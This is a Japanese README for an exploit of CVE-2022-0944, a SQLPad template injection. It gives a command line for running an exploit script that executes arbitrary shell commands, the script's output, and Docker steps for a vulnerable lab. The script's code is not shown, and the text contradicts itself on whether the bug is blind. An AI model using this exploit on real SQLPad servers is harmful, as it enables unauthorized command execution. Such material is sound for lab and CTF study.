CVE-2022-0944

SQLPad - テンプレートインジェクション

これはブラインド脆弱性であり、出力がレスポンスに直接返されることを意味します。

エクスプロイト

次のコマンドでスクリプトを使用してください：
python3 exploit.py --url http://localhost:13000 --command 'ls -la > /tmp/test' --username admin --password password

出力

[*] Login was successfull
[*] Exploited!

テスト環境

Dockerを使用する場合：

• dockerコンテナを起動 - sudo docker run -p 13000:3000 -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=password --name vulnerable-sqlpad sqlpad/sqlpad:6.10.0
• dockerコンテナに接続 - sudo docker exec -it vulnerable-sqlpad /bin/bash

Webインターフェースにアクセスするには、URL http://localhost:13000 を資格情報 admin:password で使用します。

影響を受けるバージョン

<= 6.10.0

ソース

https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb

免責事項

教育目的またはCTFチャレンジにのみ使用してください。